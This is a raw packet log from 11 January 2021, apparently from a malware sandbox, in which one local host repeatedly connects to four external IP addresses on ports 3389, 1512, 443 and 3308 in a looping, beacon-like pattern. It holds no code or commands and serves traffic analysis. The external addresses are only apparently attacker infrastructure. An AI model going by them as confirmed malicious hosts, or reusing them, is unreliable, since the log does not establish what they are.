Jan 11, 2021 20:48:06.844533920 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.844851017 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.857601881 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.857728004 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.911729097 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.911993027 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:06.951316118 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.965702057 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:06.965724945 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:07.056837082 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:07.056859970 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:07.057177067 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:07.063076973 CET	49209	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:07.116445065 CET	3389	49209	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:07.177711010 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.230488062 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.230596066 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.231712103 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.284606934 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.295310020 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.295351982 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.295437098 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.295492887 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.307176113 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.361479998 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.361758947 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.372783899 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.373061895 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.425919056 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.426311970 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.463438034 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.479283094 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.479342937 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.582756042 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.582812071 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.583074093 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.588459969 CET	49210	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:07.641335964 CET	1512	49210	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:07.706362009 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.758891106 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:07.759031057 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.761364937 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.813592911 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:07.828960896 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:07.829222918 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.843303919 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.897994995 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:07.898159027 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.908411980 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.908592939 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:07.966348886 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:07.966598034 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:08.018896103 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:08.137810946 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:08.137881994 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:08.137904882 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:08.137954950 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:08.141927004 CET	49211	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:08.194365978 CET	443	49211	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:08.248517990 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.291891098 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.292051077 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.293647051 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.336920977 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.351382971 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.351448059 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.351526976 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.351563931 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.363285065 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.408324003 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.408674955 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.419080973 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.419486046 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.462610960 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.462836027 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.503130913 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.506093979 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.506134033 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.619394064 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.619437933 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.619685888 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.625104904 CET	49212	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:08.668319941 CET	3308	49212	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:08.735696077 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.790107012 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:08.790318966 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.791830063 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.845285892 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:08.864836931 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:08.864856958 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:08.865034103 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.880325079 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.942567110 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:08.942845106 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.953212023 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:08.953460932 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:09.007997990 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.008388042 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:09.047516108 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.062382936 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.062424898 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.153090000 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.153136969 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.153470039 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:09.153528929 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:09.159003973 CET	49213	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:09.213454962 CET	3389	49213	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:09.282268047 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.335599899 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.335721016 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.337336063 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.390249014 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.397032976 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.397075891 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.397142887 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.397178888 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.412359953 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.466598034 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.466805935 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.476893902 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.477310896 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.532845020 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.533164024 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.571588039 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.586347103 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.586419106 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.686496019 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.686547995 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.686768055 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.692332983 CET	49214	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:09.745501041 CET	1512	49214	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:09.817265987 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:09.869599104 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:09.869710922 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:09.871273041 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:09.923352003 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:09.938127995 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:09.938249111 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:09.954030037 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.008599997 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.008914948 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.019059896 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.019366026 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.071563959 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.071820021 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.111320019 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.123955965 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.124102116 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.242680073 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.242700100 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.243040085 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.248526096 CET	49215	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:10.300784111 CET	443	49215	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:10.355084896 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.398499966 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.398607016 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.399895906 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.443139076 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.463655949 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.463721037 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.463745117 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.463787079 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.474706888 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.520473003 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.520558119 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.526859999 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.527059078 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.570305109 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.570415020 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.611264944 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.613806963 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.613864899 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.726618052 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.726682901 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.726725101 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.726797104 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.730530024 CET	49216	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:10.773821115 CET	3308	49216	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:10.842767954 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:10.896306992 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:10.896467924 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:10.898067951 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:10.951666117 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:10.973087072 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:10.973136902 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:10.973334074 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:10.987339973 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.052741051 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.052882910 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.061945915 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.062141895 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.118782997 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.119091034 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.155841112 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.172597885 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.172660112 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.516743898 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.517147064 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.570597887 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.570931911 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.571160078 CET	49217	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:11.624757051 CET	3389	49217	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:11.688255072 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.741405010 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.741558075 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.743012905 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.796088934 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.804229975 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.804286957 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.804375887 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.804423094 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.820796967 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.874958992 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.875344038 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.884964943 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.885157108 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.938093901 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.938515902 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:11.975591898 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:11.991559029 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:12.091538906 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:12.091583967 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:12.091924906 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:12.097453117 CET	49218	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:12.150465012 CET	1512	49218	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:12.215531111 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.268205881 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.268376112 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.270013094 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.322370052 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.337016106 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.337165117 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.354178905 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.408956051 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.409199953 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.418678045 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.418852091 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.471180916 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.471503973 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.524028063 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.642242908 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.642301083 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.642509937 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.642560959 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.648165941 CET	49219	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:12.700654984 CET	443	49219	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:12.757167101 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.800684929 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.800776958 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.801840067 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.845204115 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.856122017 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.856168985 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.856254101 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.863553047 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.909495115 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.909590960 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.913309097 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.913465023 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.956589937 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:12.956798077 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:12.997059107 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.000085115 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.000137091 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.113003016 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.113046885 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.113233089 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:13.115320921 CET	49220	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:13.158554077 CET	3308	49220	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:13.224760056 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.278851032 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.278935909 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.279553890 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.334897041 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.352686882 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.352749109 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.352832079 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.352865934 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.357898951 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.416105986 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.416327953 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.419995070 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.420064926 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.473767996 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.473860025 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.513237953 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.527335882 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.527404070 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.623028994 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.623095036 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.623146057 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.623171091 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.628480911 CET	49221	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:13.683830976 CET	3389	49221	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:13.740993977 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.794581890 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.794744968 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.796282053 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.849283934 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.856231928 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.856276035 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.856405973 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.856440067 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.869963884 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.924062967 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.924194098 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.934926987 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.935265064 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:13.988214970 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:13.988383055 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:14.027410030 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:14.041353941 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:14.145071030 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:14.145134926 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:14.145279884 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:14.145325899 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:14.151683092 CET	49222	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:14.204476118 CET	1512	49222	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:14.274543047 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.327061892 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.327332973 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.328461885 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.380840063 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.395801067 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.395910978 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.411632061 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.466312885 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.466484070 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.476702929 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.477035999 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.529536009 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.529702902 CET	49224	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:14.582065105 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.582139969 CET	443	49224	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:14.700807095 CET	443	49224	77.220.64.37	192.168.2.22
